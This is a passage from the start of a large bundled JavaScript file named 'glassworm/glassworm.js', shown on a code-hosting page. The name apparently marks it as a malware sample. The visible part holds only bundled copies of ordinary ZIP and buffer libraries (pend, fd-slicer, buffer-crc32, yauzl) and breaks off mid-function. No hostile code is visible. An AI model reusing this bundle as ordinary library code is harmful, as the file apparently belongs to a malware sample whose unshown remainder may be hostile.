Files
glassworm/glassworm.js
T

3188 lines
1.2 MiB
JavaScript
Raw Normal View History

2026-08-27 11:22:57 -06:00
var __getOwnPropNames = Object.getOwnPropertyNames;
var __commonJS = (cb, mod) =>
function __require() {
return (
mod ||
(0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod),
mod.exports
);
};
// node_modules/pend/index.js
var require_pend = __commonJS({
"node_modules/pend/index.js"(exports2, module2) {
module2.exports = Pend;
function Pend() {
this.pending = 0;
this.max = Infinity;
this.listeners = [];
this.waiting = [];
this.error = null;
}
Pend.prototype.go = function (fn) {
if (this.pending < this.max) {
pendGo(this, fn);
} else {
this.waiting.push(fn);
}
};
Pend.prototype.wait = function (cb) {
if (this.pending === 0) {
cb(this.error);
} else {
this.listeners.push(cb);
}
};
Pend.prototype.hold = function () {
return pendHold(this);
};
function pendHold(self) {
self.pending += 1;
var called = false;
return onCb;
function onCb(err) {
if (called) throw new Error("callback called twice");
called = true;
self.error = self.error || err;
self.pending -= 1;
if (self.waiting.length > 0 && self.pending < self.max) {
pendGo(self, self.waiting.shift());
} else if (self.pending === 0) {
var listeners = self.listeners;
self.listeners = [];
listeners.forEach(cbListener);
}
}
function cbListener(listener) {
listener(self.error);
}
}
function pendGo(self, fn) {
fn(pendHold(self));
}
},
});
// node_modules/yauzl/fd-slicer.js
var require_fd_slicer = __commonJS({
"node_modules/yauzl/fd-slicer.js"(exports2) {
var fs2 = require("fs");
var util = require("util");
var stream = require("stream");
var Readable = stream.Readable;
var Writable = stream.Writable;
var PassThrough = stream.PassThrough;
var Pend = require_pend();
var EventEmitter = require("events").EventEmitter;
exports2.createFromBuffer = createFromBuffer;
exports2.createFromFd = createFromFd;
exports2.BufferSlicer = BufferSlicer;
exports2.FdSlicer = FdSlicer;
util.inherits(FdSlicer, EventEmitter);
function FdSlicer(fd, options2) {
options2 = options2 || {};
EventEmitter.call(this);
this.fd = fd;
this.pend = new Pend();
this.pend.max = 1;
this.refCount = 0;
this.autoClose = !!options2.autoClose;
}
FdSlicer.prototype.read = function (
buffer,
offset,
length,
position,
callback,
) {
var self = this;
self.pend.go(function (cb) {
fs2.read(
self.fd,
buffer,
offset,
length,
position,
function (err, bytesRead, buffer2) {
cb();
callback(err, bytesRead, buffer2);
},
);
});
};
FdSlicer.prototype.write = function (
buffer,
offset,
length,
position,
callback,
) {
var self = this;
self.pend.go(function (cb) {
fs2.write(
self.fd,
buffer,
offset,
length,
position,
function (err, written, buffer2) {
cb();
callback(err, written, buffer2);
},
);
});
};
FdSlicer.prototype.createReadStream = function (options2) {
return new ReadStream(this, options2);
};
FdSlicer.prototype.createWriteStream = function (options2) {
return new WriteStream(this, options2);
};
FdSlicer.prototype.ref = function () {
this.refCount += 1;
};
FdSlicer.prototype.unref = function () {
var self = this;
self.refCount -= 1;
if (self.refCount > 0) return;
if (self.refCount < 0) throw new Error("invalid unref");
if (self.autoClose) {
fs2.close(self.fd, onCloseDone);
}
function onCloseDone(err) {
if (err) {
self.emit("error", err);
} else {
self.emit("close");
}
}
};
util.inherits(ReadStream, Readable);
function ReadStream(context, options2) {
options2 = options2 || {};
Readable.call(this, options2);
this.context = context;
this.context.ref();
this.start = options2.start || 0;
this.endOffset = options2.end;
this.pos = this.start;
this.destroyed = false;
}
ReadStream.prototype._read = function (n) {
var self = this;
if (self.destroyed) return;
var toRead = Math.min(self._readableState.highWaterMark, n);
if (self.endOffset != null) {
toRead = Math.min(toRead, self.endOffset - self.pos);
}
if (toRead <= 0) {
self.destroyed = true;
self.push(null);
self.context.unref();
return;
}
self.context.pend.go(function (cb) {
if (self.destroyed) return cb();
var buffer = Buffer.allocUnsafe(toRead);
fs2.read(
self.context.fd,
buffer,
0,
toRead,
self.pos,
function (err, bytesRead) {
if (err) {
self.destroy(err);
} else if (bytesRead === 0) {
self.destroyed = true;
self.push(null);
self.context.unref();
} else {
self.pos += bytesRead;
self.push(buffer.slice(0, bytesRead));
}
cb();
},
);
});
};
ReadStream.prototype.destroy = function (err) {
if (this.destroyed) return;
err = err || new Error("stream destroyed");
this.destroyed = true;
this.emit("error", err);
this.context.unref();
};
util.inherits(WriteStream, Writable);
function WriteStream(context, options2) {
options2 = options2 || {};
Writable.call(this, options2);
this.context = context;
this.context.ref();
this.start = options2.start || 0;
this.endOffset = options2.end == null ? Infinity : +options2.end;
this.bytesWritten = 0;
this.pos = this.start;
this.destroyed = false;
this.on("finish", this.destroy.bind(this));
}
WriteStream.prototype._write = function (buffer, encoding, callback) {
var self = this;
if (self.destroyed) return;
if (self.pos + buffer.length > self.endOffset) {
var err = new Error("maximum file length exceeded");
err.code = "ETOOBIG";
self.destroy();
callback(err);
return;
}
self.context.pend.go(function (cb) {
if (self.destroyed) return cb();
fs2.write(
self.context.fd,
buffer,
0,
buffer.length,
self.pos,
function (err2, bytes) {
if (err2) {
self.destroy();
cb();
callback(err2);
} else {
self.bytesWritten += bytes;
self.pos += bytes;
self.emit("progress");
cb();
callback();
}
},
);
});
};
WriteStream.prototype.destroy = function () {
if (this.destroyed) return;
this.destroyed = true;
this.context.unref();
};
util.inherits(BufferSlicer, EventEmitter);
function BufferSlicer(buffer, options2) {
EventEmitter.call(this);
options2 = options2 || {};
this.refCount = 0;
this.buffer = buffer;
this.maxChunkSize = options2.maxChunkSize || Number.MAX_SAFE_INTEGER;
}
BufferSlicer.prototype.read = function (
buffer,
offset,
length,
position,
callback,
) {
if (!(0 <= offset && offset <= buffer.length))
throw new RangeError(
"offset outside buffer: 0 <= " + offset + " <= " + buffer.length,
);
if (position < 0)
throw new RangeError("position is negative: " + position);
if (offset + length > buffer.length) {
length = buffer.length - offset;
}
if (position + length > this.buffer.length) {
length = this.buffer.length - position;
}
if (length <= 0) {
setImmediate(function () {
callback(null, 0);
});
return;
}
this.buffer.copy(buffer, offset, position, position + length);
setImmediate(function () {
callback(null, length);
});
};
BufferSlicer.prototype.write = function (
buffer,
offset,
length,
position,
callback,
) {
buffer.copy(this.buffer, position, offset, offset + length);
setImmediate(function () {
callback(null, length, buffer);
});
};
BufferSlicer.prototype.createReadStream = function (options2) {
options2 = options2 || {};
var readStream = new PassThrough(options2);
readStream.destroyed = false;
readStream.start = options2.start || 0;
readStream.endOffset = options2.end;
readStream.pos = readStream.endOffset || this.buffer.length;
var entireSlice = this.buffer.slice(readStream.start, readStream.pos);
var offset = 0;
while (true) {
var nextOffset = offset + this.maxChunkSize;
if (nextOffset >= entireSlice.length) {
if (offset < entireSlice.length) {
readStream.write(entireSlice.slice(offset, entireSlice.length));
}
break;
}
readStream.write(entireSlice.slice(offset, nextOffset));
offset = nextOffset;
}
readStream.end();
readStream.destroy = function () {
readStream.destroyed = true;
};
return readStream;
};
BufferSlicer.prototype.createWriteStream = function (options2) {
var bufferSlicer = this;
options2 = options2 || {};
var writeStream = new Writable(options2);
writeStream.start = options2.start || 0;
writeStream.endOffset =
options2.end == null ? this.buffer.length : +options2.end;
writeStream.bytesWritten = 0;
writeStream.pos = writeStream.start;
writeStream.destroyed = false;
writeStream._write = function (buffer, encoding, callback) {
if (writeStream.destroyed) return;
var end = writeStream.pos + buffer.length;
if (end > writeStream.endOffset) {
var err = new Error("maximum file length exceeded");
err.code = "ETOOBIG";
writeStream.destroyed = true;
callback(err);
return;
}
buffer.copy(bufferSlicer.buffer, writeStream.pos, 0, buffer.length);
writeStream.bytesWritten += buffer.length;
writeStream.pos = end;
writeStream.emit("progress");
callback();
};
writeStream.destroy = function () {
writeStream.destroyed = true;
};
return writeStream;
};
BufferSlicer.prototype.ref = function () {
this.refCount += 1;
};
BufferSlicer.prototype.unref = function () {
this.refCount -= 1;
if (this.refCount < 0) {
throw new Error("invalid unref");
}
};
function createFromBuffer(buffer, options2) {
return new BufferSlicer(buffer, options2);
}
function createFromFd(fd, options2) {
return new FdSlicer(fd, options2);
}
},
});
// node_modules/buffer-crc32/index.js
var require_buffer_crc32 = __commonJS({
"node_modules/buffer-crc32/index.js"(exports2, module2) {
var Buffer2 = require("buffer").Buffer;
var CRC_TABLE = [
0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685,
2657392035, 249268274, 2044508324, 3772115230, 2547177864, 162941995,
2125561021, 3887607047, 2428444049, 498536548, 1789927666, 4089016648,
2227061214, 450548861, 1843258603, 4107580753, 2211677639, 325883990,
1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755,
2366115317, 997073096, 1281953886, 3579855332, 2724688242, 1006888145,
1258607687, 3524101629, 2768942443, 901097722, 1119000684, 3686517206,
2898065728, 853044451, 1172266101, 3705015759, 2882616665, 651767980,
1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705,
3099436303, 671266974, 1594198024, 3322730930, 2970347812, 795835527,
1483230225, 3244367275, 3060149565, 1994146192, 31158534, 2563907772,
4023717930, 1907459465, 112637215, 2680153253, 3904427059, 2013776290,
251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719,
3865271297, 1802195444, 476864866, 2238001368, 4066508878, 1812370925,
453092731, 2181625025, 4111451223, 1706088902, 314042704, 2344532202,
4240017532, 1658658271, 366619977, 2362670323, 4224994405, 1303535960,
984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733,
3554079995, 1131014506, 879679996, 2909243462, 3663771856, 1141124467,
855842277, 2852801631, 3708648649, 1342533948, 654459306, 3188396048,
3373015174, 1466479909, 544179635, 3110523913, 3462522015, 1591671054,
702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443,
3233442989, 3988292384, 2596254646, 62317068, 1957810842, 3939845945,
2647816111, 81470997, 1943803523, 3814918930, 2489596804, 225274430,
2053790376, 3826175755, 2466906013, 167816743, 2097651377, 4027552580,
2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225,
1852507879, 4275313526, 2312317920, 282753626, 1742555852, 4189708143,
2394877945, 397917763, 1622183637, 3604390888, 2714866558, 953729732,
1340076626, 3518719985, 2797360999, 1068828381, 1219638859, 3624741850,
2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135,
1181335161, 3412177804, 3160834842, 628085408, 1382605366, 3423369109,
3138078467, 570562233, 1426400815, 3317316542, 2998733608, 733239954,
1555261956, 3268935591, 3050360625, 752459403, 1541320221, 2607071920,
3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877,
83908371, 2512341634, 3803740692, 2075208622, 213261112, 2463272603,
3855990285, 2094854071, 198958881, 2262029012, 4057260610, 1759359992,
534414190, 2176718541, 4139329115, 1873836001, 414664567, 2282248934,
4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795,
376229701, 2685067896, 3608007406, 1308918612, 956543938, 2808555105,
3495958263, 1231636301, 1047427035, 2932959818, 3654703836, 1088359270,
936918e3, 2847714899, 3736837829, 1202900863, 817233897, 3183342108,
3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449,
601450431, 3009837614, 3294710456, 1567103746, 711928724, 3020668471,
3272380065, 1510334235, 755167117,
];
if (typeof Int32Array !== "undefined") {
CRC_TABLE = new Int32Array(CRC_TABLE);
}
function ensureBuffer(input) {
if (Buffer2.isBuffer(input)) {
return input;
}
var hasNewBufferAPI =
typeof Buffer2.alloc === "function" &&
typeof Buffer2.from === "function";
if (typeof input === "number") {
return hasNewBufferAPI ? Buffer2.alloc(input) : new Buffer2(input);
} else if (typeof input === "string") {
return hasNewBufferAPI ? Buffer2.from(input) : new Buffer2(input);
} else {
throw new Error(
"input must be buffer, number, or string, received " + typeof input,
);
}
}
function bufferizeInt(num) {
var tmp = ensureBuffer(4);
tmp.writeInt32BE(num, 0);
return tmp;
}
function _crc32(buf, previous) {
buf = ensureBuffer(buf);
if (Buffer2.isBuffer(previous)) {
previous = previous.readUInt32BE(0);
}
var crc = ~~previous ^ -1;
for (var n = 0; n < buf.length; n++) {
crc = CRC_TABLE[(crc ^ buf[n]) & 255] ^ (crc >>> 8);
}
return crc ^ -1;
}
function crc32() {
return bufferizeInt(_crc32.apply(null, arguments));
}
crc32.signed = function () {
return _crc32.apply(null, arguments);
};
crc32.unsigned = function () {
return _crc32.apply(null, arguments) >>> 0;
};
module2.exports = crc32;
},
});
// node_modules/yauzl/index.js
var require_yauzl = __commonJS({
"node_modules/yauzl/index.js"(exports2) {
var fs2 = require("fs");
var zlib = require("zlib");
var fd_slicer = require_fd_slicer();
var crc32 = require_buffer_crc32();
var util = require("util");
var EventEmitter = require("events").EventEmitter;
var Transform = require("stream").Transform;
var PassThrough = require("stream").PassThrough;
var Writable = require("stream").Writable;
exports2.open = open;
exports2.fromFd = fromFd;
exports2.fromBuffer = fromBuffer;
exports2.fromRandomAccessReader = fromRandomAccessReader;
exports2.dosDateTimeToDate = dosDateTimeToDate;
exports2.getFileNameLowLevel = getFileNameLowLevel;
exports2.validateFileName = validateFileName;
exports2.parseExtraFields = parseExtraFields;
exports2.ZipFile = ZipFile;
exports2.Entry = Entry;
exports2.LocalFileHeader = LocalFileHeader;
exports2.RandomAccessReader = RandomAccessReader;
function open(path2, options2, callback) {
if (typeof options2 === "function") {
callback = options2;
options2 = null;
}
if (options2 == null) options2 = {};
if (options2.autoClose == null) options2.autoClose = true;
if (options2.lazyEntries == null) options2.lazyEntries = false;
if (options2.decodeStrings == null) options2.decodeStrings = true;
if (options2.validateEntrySizes == null)
options2.validateEntrySizes = true;
if (options2.strictFileNames == null) options2.strictFileNames = false;
if (callback == null) callback = defaultCallback;
fs2.open(path2, "r", function (err, fd) {
if (err) return callback(err);
fromFd(fd, options2, function (err2, zipfile) {
if (err2) fs2.close(fd, defaultCallback);
callback(err2, zipfile);
});
});
}
function fromFd(fd, options2, callback) {
if (typeof options2 === "function") {
callback = options2;
options2 = null;
}
if (options2 == null) options2 = {};
if (options2.autoClose == null) options2.autoClose = false;
if (options2.lazyEntries == null) options2.lazyEntries = false;
if (options2.decodeStrings == null) options2.decodeStrings = true;
if (options2.validateEntrySizes == null)
options2.validateEntrySizes = true;
if (options2.strictFileNames == null) options2.strictFileNames = false;
if (callback == null) callback = defaultCallback;
fs2.fstat(fd, function (err, stats) {
if (err) return callback(err);
var reader = fd_slicer.createFromFd(fd, { autoClose: true });
fromRandomAccessReader(reader, stats.size, options2, callback);
});
}
function fromBuffer(buffer, options2, callback) {
if (typeof options2 === "function") {
callback = options2;
options2 = null;
}
if (options2 == null) options2 = {};
options2.autoClose = false;
if (options2.lazyEntries == null) options2.lazyEntries = false;
if (options2.decodeStrings == null) options2.decodeStrings = true;
if (options2.validateEntrySizes == null)
options2.validateEntrySizes = true;
if (options2.strictFileNames == null) options2.strictFileNames = false;
var reader = fd_slicer.createFromBuffer(buffer, { maxChunkSize: 65536 });
fromRandomAccessReader(reader, buffer.length, options2, callback);
}
function fromRandomAccessReader(reader, totalSize, options2, callback) {
if (typeof options2 === "function") {
callback = options2;
options2 = null;
}
if (options2 == null) options2 = {};
if (options2.autoClose == null) options2.autoClose = true;
if (options2.lazyEntries == null) options2.lazyEntries = false;
if (options2.decodeStrings == null) options2.decodeStrings = true;
var decodeStrings = !!options2.decodeStrings;
if (options2.validateEntrySizes == null)
options2.validateEntrySizes = true;
if (options2.strictFileNames == null) options2.strictFileNames = false;
if (callback == null) callback = defaultCallback;
if (typeof totalSize !== "number")
throw new Error("expected totalSize parameter to be a number");
if (totalSize > Number.MAX_SAFE_INTEGER) {
throw new Error(
"zip file too large. only file sizes up to 2^52 are supported due to JavaScript's Number type being an IEEE 754 double.",
);
}
reader.ref();
var eocdrWithoutCommentSize = 22;
var zip64EocdlSize = 20;
var maxCommentSize = 65535;
var bufferSize = Math.min(
zip64EocdlSize + eocdrWithoutCommentSize + maxCommentSize,
totalSize,
);
var buffer = newBuffer(bufferSize);
var bufferReadStart = totalSize - buffer.length;
readAndAssertNoEof(
reader,
buffer,
0,
bufferSize,
bufferReadStart,
function (err) {
if (err) return callback(err);
for (var i = bufferSize - eocdrWithoutCommentSize; i >= 0; i -= 1) {
if (buffer.readUInt32LE(i) !== 101010256) continue;
var eocdrBuffer = buffer.subarray(i);
var diskNumber = eocdrBuffer.readUInt16LE(4);
var entryCount = eocdrBuffer.readUInt16LE(10);
var centralDirectoryOffset = eocdrBuffer.readUInt32LE(16);
var commentLength = eocdrBuffer.readUInt16LE(20);
var expectedCommentLength =
eocdrBuffer.length - eocdrWithoutCommentSize;
if (commentLength !== expectedCommentLength) {
return callback(
new Error(
"Invalid comment length. Expected: " +
expectedCommentLength +
". Found: " +
commentLength +
". Are there extra bytes at the end of the file? Or is the end of central dir signature `PK\u263A\u263B` in the comment?",
),
);
}
var comment = decodeStrings
? decodeBuffer(eocdrBuffer.subarray(22), false)
: eocdrBuffer.subarray(22);
if (
i - zip64EocdlSize >= 0 &&
buffer.readUInt32LE(i - zip64EocdlSize) === 117853008
) {
var zip64EocdlBuffer = buffer.subarray(
i - zip64EocdlSize,
i - zip64EocdlSize + zip64EocdlSize,
);
var zip64EocdrOffset = readUInt64LE(zip64EocdlBuffer, 8);
var zip64EocdrBuffer = newBuffer(56);
return readAndAssertNoEof(
reader,
zip64EocdrBuffer,
0,
zip64EocdrBuffer.length,
zip64EocdrOffset,
function (err2) {
if (err2) return callback(err2);
if (zip64EocdrBuffer.readUInt32LE(0) !== 101075792) {
return callback(
new Error(
"invalid zip64 end of central directory record signature",
),
);
}
diskNumber = zip64EocdrBuffer.readUInt32LE(16);
if (diskNumber !== 0) {
return callback(
new Error(
"multi-disk zip files are not supported: found disk number: " +
diskNumber,
),
);
}
entryCount = readUInt64LE(zip64EocdrBuffer, 32);
centralDirectoryOffset = readUInt64LE(zip64EocdrBuffer, 48);
return callback(
null,
new ZipFile(
reader,
centralDirectoryOffset,
totalSize,
entryCount,
comment,
options2.autoClose,
options2.lazyEntries,
decodeStrings,
options2.validateEntrySizes,
options2.strictFileNames,
),
);
},
);
}
if (diskNumber !== 0) {
return callback(
new Error(
"multi-disk zip files are not supported: found disk number: " +
diskNumber,
),
);
}
return callback(
null,
new ZipFile(
reader,
centralDirectoryOffset,
totalSize,
entryCount,
comment,
options2.autoClose,
options2.lazyEntries,
decodeStrings,
options2.validateEntrySizes,
options2.strictFileNames,
),
);
}
callback(
new Error(
"End of central directory record signature not found. Either not a zip file, or file is truncated.",
),
);
},
);
}
util.inherits(ZipFile, EventEmitter);
function ZipFile(
reader,
centralDirectoryOffset,
fileSize,
entryCount,
comment,
autoClose,
lazyEntries,
decodeStrings,
validateEntrySizes,
strictFileNames,
) {
var self = this;
EventEmitter.call(self);
self.reader = reader;
self.reader.on("error", function (err) {
emitError(self, err);
});
self.reader.once("close", function () {
self.emit("close");
});
self.readEntryCursor = centralDirectoryOffset;
self.fileSize = fileSize;
self.entryCount = entryCount;
self.comment = comment;
self.entriesRead = 0;
self.autoClose = !!autoClose;
self.lazyEntries = !!lazyEntries;
self.decodeStrings = !!decodeStrings;
self.validateEntrySizes = !!validateEntrySizes;
self.strictFileNames = !!strictFileNames;
self.isOpen = true;
self.emittedError = false;
if (!self.lazyEntries) self._readEntry();
}
ZipFile.prototype.close = function () {
if (!this.isOpen) return;
this.isOpen = false;
this.reader.unref();
};
function emitErrorAndAutoClose(self, err) {
if (self.autoClose) self.close();
emitError(self, err);
}
function emitError(self, err) {
if (self.emittedError) return;
self.emittedError = true;
self.emit("error", err);
}
ZipFile.prototype.readEntry = function () {
if (!this.lazyEntries)
throw new Error("readEntry() called without lazyEntries:true");
this._readEntry();
};
ZipFile.prototype._readEntry = function () {
var self = this;
if (self.entryCount === self.entriesRead) {
setImmediate(function () {
if (self.autoClose) self.close();
if (self.emittedError) return;
self.emit("end");
});
return;
}
if (self.emittedError) return;
var buffer = newBuffer(46);
readAndAssertNoEof(
self.reader,
buffer,
0,
buffer.length,
self.readEntryCursor,
function (err) {
if (err) return emitErrorAndAutoClose(self, err);
if (self.emittedError) return;
var entry = new Entry();
var signature = buffer.readUInt32LE(0);
if (signature !== 33639248)
return emitErrorAndAutoClose(
self,
new Error(
"invalid central directory file header signature: 0x" +
signature.toString(16),
),
);
entry.versionMadeBy = buffer.readUInt16LE(4);
entry.versionNeededToExtract = buffer.readUInt16LE(6);
entry.generalPurposeBitFlag = buffer.readUInt16LE(8);
entry.compressionMethod = buffer.readUInt16LE(10);
entry.lastModFileTime = buffer.readUInt16LE(12);
entry.lastModFileDate = buffer.readUInt16LE(14);
entry.crc32 = buffer.readUInt32LE(16);
entry.compressedSize = buffer.readUInt32LE(20);
entry.uncompressedSize = buffer.readUInt32LE(24);
entry.fileNameLength = buffer.readUInt16LE(28);
entry.extraFieldLength = buffer.readUInt16LE(30);
entry.fileCommentLength = buffer.readUInt16LE(32);
entry.internalFileAttributes = buffer.readUInt16LE(36);
entry.externalFileAttributes = buffer.readUInt32LE(38);
entry.relativeOffsetOfLocalHeader = buffer.readUInt32LE(42);
if (entry.generalPurposeBitFlag & 64)
return emitErrorAndAutoClose(
self,
new Error("strong encryption is not supported"),
);
self.readEntryCursor += 46;
buffer = newBuffer(
entry.fileNameLength +
entry.extraFieldLength +
entry.fileCommentLength,
);
readAndAssertNoEof(
self.reader,
buffer,
0,
buffer.length,
self.readEntryCursor,
function (err2) {
if (err2) return emitErrorAndAutoClose(self, err2);
if (self.emittedError) return;
entry.fileNameRaw = buffer.subarray(0, entry.fileNameLength);
var fileCommentStart =
entry.fileNameLength + entry.extraFieldLength;
entry.extraFieldRaw = buffer.subarray(
entry.fileNameLength,
fileCommentStart,
);
entry.fileCommentRaw = buffer.subarray(
fileCommentStart,
fileCommentStart + entry.fileCommentLength,
);
try {
entry.extraFields = parseExtraFields(entry.extraFieldRaw);
} catch (err3) {
return emitErrorAndAutoClose(self, err3);
}
if (self.decodeStrings) {
var isUtf8 = (entry.generalPurposeBitFlag & 2048) !== 0;
entry.fileComment = decodeBuffer(entry.fileCommentRaw, isUtf8);
entry.fileName = getFileNameLowLevel(
entry.generalPurposeBitFlag,
entry.fileNameRaw,
entry.extraFields,
self.strictFileNames,
);
var errorMessage = validateFileName(entry.fileName);
if (errorMessage != null)
return emitErrorAndAutoClose(self, new Error(errorMessage));
} else {
entry.fileComment = entry.fileCommentRaw;
entry.fileName = entry.fileNameRaw;
}
entry.comment = entry.fileComment;
self.readEntryCursor += buffer.length;
self.entriesRead += 1;
for (var i = 0; i < entry.extraFields.length; i++) {
var extraField = entry.extraFields[i];
if (extraField.id !== 1) continue;
var zip64EiefBuffer = extraField.data;
var index = 0;
if (entry.uncompressedSize === 4294967295) {
if (index + 8 > zip64EiefBuffer.length) {
return emitErrorAndAutoClose(
self,
new Error(
"zip64 extended information extra field does not include uncompressed size",
),
);
}
entry.uncompressedSize = readUInt64LE(zip64EiefBuffer, index);
index += 8;
}
if (entry.compressedSize === 4294967295) {
if (index + 8 > zip64EiefBuffer.length) {
return emitErrorAndAutoClose(
self,
new Error(
"zip64 extended information extra field does not include compressed size",
),
);
}
entry.compressedSize = readUInt64LE(zip64EiefBuffer, index);
index += 8;
}
if (entry.relativeOffsetOfLocalHeader === 4294967295) {
if (index + 8 > zip64EiefBuffer.length) {
return emitErrorAndAutoClose(
self,
new Error(
"zip64 extended information extra field does not include relative header offset",
),
);
}
entry.relativeOffsetOfLocalHeader = readUInt64LE(
zip64EiefBuffer,
index,
);
index += 8;
}
break;
}
if (self.validateEntrySizes && entry.compressionMethod === 0) {
var expectedCompressedSize = entry.uncompressedSize;
if (entry.isEncrypted()) {
expectedCompressedSize += 12;
}
if (entry.compressedSize !== expectedCompressedSize) {
var msg =
"compressed/uncompressed size mismatch for stored file: " +
entry.compressedSize +
" != " +
entry.uncompressedSize;
return emitErrorAndAutoClose(self, new Error(msg));
}
}
self.emit("entry", entry);
if (!self.lazyEntries) self._readEntry();
},
);
},
);
};
ZipFile.prototype.openReadStream = function (entry, options2, callback) {
var self = this;
var relativeStart = 0;
var relativeEnd = entry.compressedSize;
if (callback == null) {
callback = options2;
options2 = null;
}
if (options2 == null) {
options2 = {};
} else {
if (options2.decrypt != null) {
if (!entry.isEncrypted()) {
throw new Error(
"options.decrypt can only be specified for encrypted entries",
);
}
if (options2.decrypt !== false)
throw new Error(
"invalid options.decrypt value: " + options2.decrypt,
);
if (entry.isCompressed()) {
if (options2.decompress !== false)
throw new Error(
"entry is encrypted and compressed, and options.decompress !== false",
);
}
}
if (options2.decompress != null) {
if (!entry.isCompressed()) {
throw new Error(
"options.decompress can only be specified for compressed entries",
);
}
if (
!(options2.decompress === false || options2.decompress === true)
) {
throw new Error(
"invalid options.decompress value: " + options2.decompress,
);
}
}
if (options2.start != null || options2.end != null) {
if (entry.isCompressed() && options2.decompress !== false) {
throw new Error(
"start/end range not allowed for compressed entry without options.decompress === false",
);
}
if (entry.isEncrypted() && options2.decrypt !== false) {
throw new Error(
"start/end range not allowed for encrypted entry without options.decrypt === false",
);
}
}
if (options2.start != null) {
relativeStart = options2.start;
if (relativeStart < 0) throw new Error("options.start < 0");
if (relativeStart > entry.compressedSize)
throw new Error("options.start > entry.compressedSize");
}
if (options2.end != null) {
relativeEnd = options2.end;
if (relativeEnd < 0) throw new Error("options.end < 0");
if (relativeEnd > entry.compressedSize)
throw new Error("options.end > entry.compressedSize");
if (relativeEnd < relativeStart)
throw new Error("options.end < options.start");
}
}
if (!self.isOpen) return callback(new Error("closed"));
if (entry.isEncrypted()) {
if (options2.decrypt !== false)
return callback(
new Error("entry is encrypted, and options.decrypt !== false"),
);
}
var decompress;
if (entry.compressionMethod === 0) {
decompress = false;
} else if (entry.compressionMethod === 8) {
decompress = options2.decompress != null ? options2.decompress : true;
} else {
return callback(
new Error(
"unsupported compression method: " + entry.compressionMethod,
),
);
}
self.readLocalFileHeader(
entry,
{ minimal: true },
function (err, localFileHeader) {
if (err) return callback(err);
self.openReadStreamLowLevel(
localFileHeader.fileDataStart,
entry.compressedSize,
relativeStart,
relativeEnd,
decompress,
entry.uncompressedSize,
callback,
);
},
);
};
ZipFile.prototype.openReadStreamLowLevel = function (
fileDataStart,
compressedSize,
relativeStart,
relativeEnd,
decompress,
uncompressedSize,
callback,
) {
var self = this;
var fileDataEnd = fileDataStart + compressedSize;
var readStream = self.reader.createReadStream({
start: fileDataStart + relativeStart,
end: fileDataStart + relativeEnd,
});
var endpointStream = readStream;
if (decompress) {
var destroyed = false;
var inflateFilter = zlib.createInflateRaw();
readStream.on("error", function (err) {
setImmediate(function () {
if (!destroyed) inflateFilter.emit("error", err);
});
});
readStream.pipe(inflateFilter);
if (self.validateEntrySizes) {
endpointStream = new AssertByteCountStream(uncompressedSize);
inflateFilter.on("error", function (err) {
setImmediate(function () {
if (!destroyed) endpointStream.emit("error", err);
});
});
inflateFilter.pipe(endpointStream);
} else {
endpointStream = inflateFilter;
}
installDestroyFn(endpointStream, function () {
destroyed = true;
if (inflateFilter !== endpointStream)
inflateFilter.unpipe(endpointStream);
readStream.unpipe(inflateFilter);
readStream.destroy();
});
}
callback(null, endpointStream);
};
ZipFile.prototype.readLocalFileHeader = function (
entry,
options2,
callback,
) {
var self = this;
if (callback == null) {
callback = options2;
options2 = null;
}
if (options2 == null) options2 = {};
self.reader.ref();
var buffer = newBuffer(30);
readAndAssertNoEof(
self.reader,
buffer,
0,
buffer.length,
entry.relativeOffsetOfLocalHeader,
function (err) {
try {
if (err) return callback(err);
var signature = buffer.readUInt32LE(0);
if (signature !== 67324752) {
return callback(
new Error(
"invalid local file header signature: 0x" +
signature.toString(16),
),
);
}
var fileNameLength = buffer.readUInt16LE(26);
var extraFieldLength = buffer.readUInt16LE(28);
var fileDataStart =
entry.relativeOffsetOfLocalHeader +
30 +
fileNameLength +
extraFieldLength;
if (fileDataStart + entry.compressedSize > self.fileSize) {
return callback(
new Error(
"file data overflows file bounds: " +
fileDataStart +
" + " +
entry.compressedSize +
" > " +
self.fileSize,
),
);
}
if (options2.minimal) {
return callback(null, { fileDataStart });
}
var localFileHeader = new LocalFileHeader();
localFileHeader.fileDataStart = fileDataStart;
localFileHeader.versionNeededToExtract = buffer.readUInt16LE(4);
localFileHeader.generalPurposeBitFlag = buffer.readUInt16LE(6);
localFileHeader.compressionMethod = buffer.readUInt16LE(8);
localFileHeader.lastModFileTime = buffer.readUInt16LE(10);
localFileHeader.lastModFileDate = buffer.readUInt16LE(12);
localFileHeader.crc32 = buffer.readUInt32LE(14);
localFileHeader.compressedSize = buffer.readUInt32LE(18);
localFileHeader.uncompressedSize = buffer.readUInt32LE(22);
localFileHeader.fileNameLength = fileNameLength;
localFileHeader.extraFieldLength = extraFieldLength;
buffer = newBuffer(fileNameLength + extraFieldLength);
self.reader.ref();
readAndAssertNoEof(
self.reader,
buffer,
0,
buffer.length,
entry.relativeOffsetOfLocalHeader + 30,
function (err2) {
try {
if (err2) return callback(err2);
localFileHeader.fileName = buffer.subarray(0, fileNameLength);
localFileHeader.extraField = buffer.subarray(fileNameLength);
return callback(null, localFileHeader);
} finally {
self.reader.unref();
}
},
);
} finally {
self.reader.unref();
}
},
);
};
function Entry() {}
Entry.prototype.getLastModDate = function (options2) {
if (options2 == null) options2 = {};
if (!options2.forceDosFormat) {
for (var i = 0; i < this.extraFields.length; i++) {
var extraField = this.extraFields[i];
if (extraField.id === 21589) {
var data = extraField.data;
if (data.length < 5) continue;
var flags = data[0];
var HAS_MTIME = 1;
if (!(flags & HAS_MTIME)) continue;
var posixTimestamp = data.readInt32LE(1);
return new Date(posixTimestamp * 1e3);
} else if (extraField.id === 10) {
var data = extraField.data;
var cursor = 4;
while (cursor < data.length + 4) {
var tag = data.readUInt16LE(cursor);
cursor += 2;
var size = data.readUInt16LE(cursor);
cursor += 2;
if (tag !== 1) {
cursor += size;
continue;
}
if (size < 8 || cursor + size > data.length) break;
var hundredNanoSecondsSince1601 =
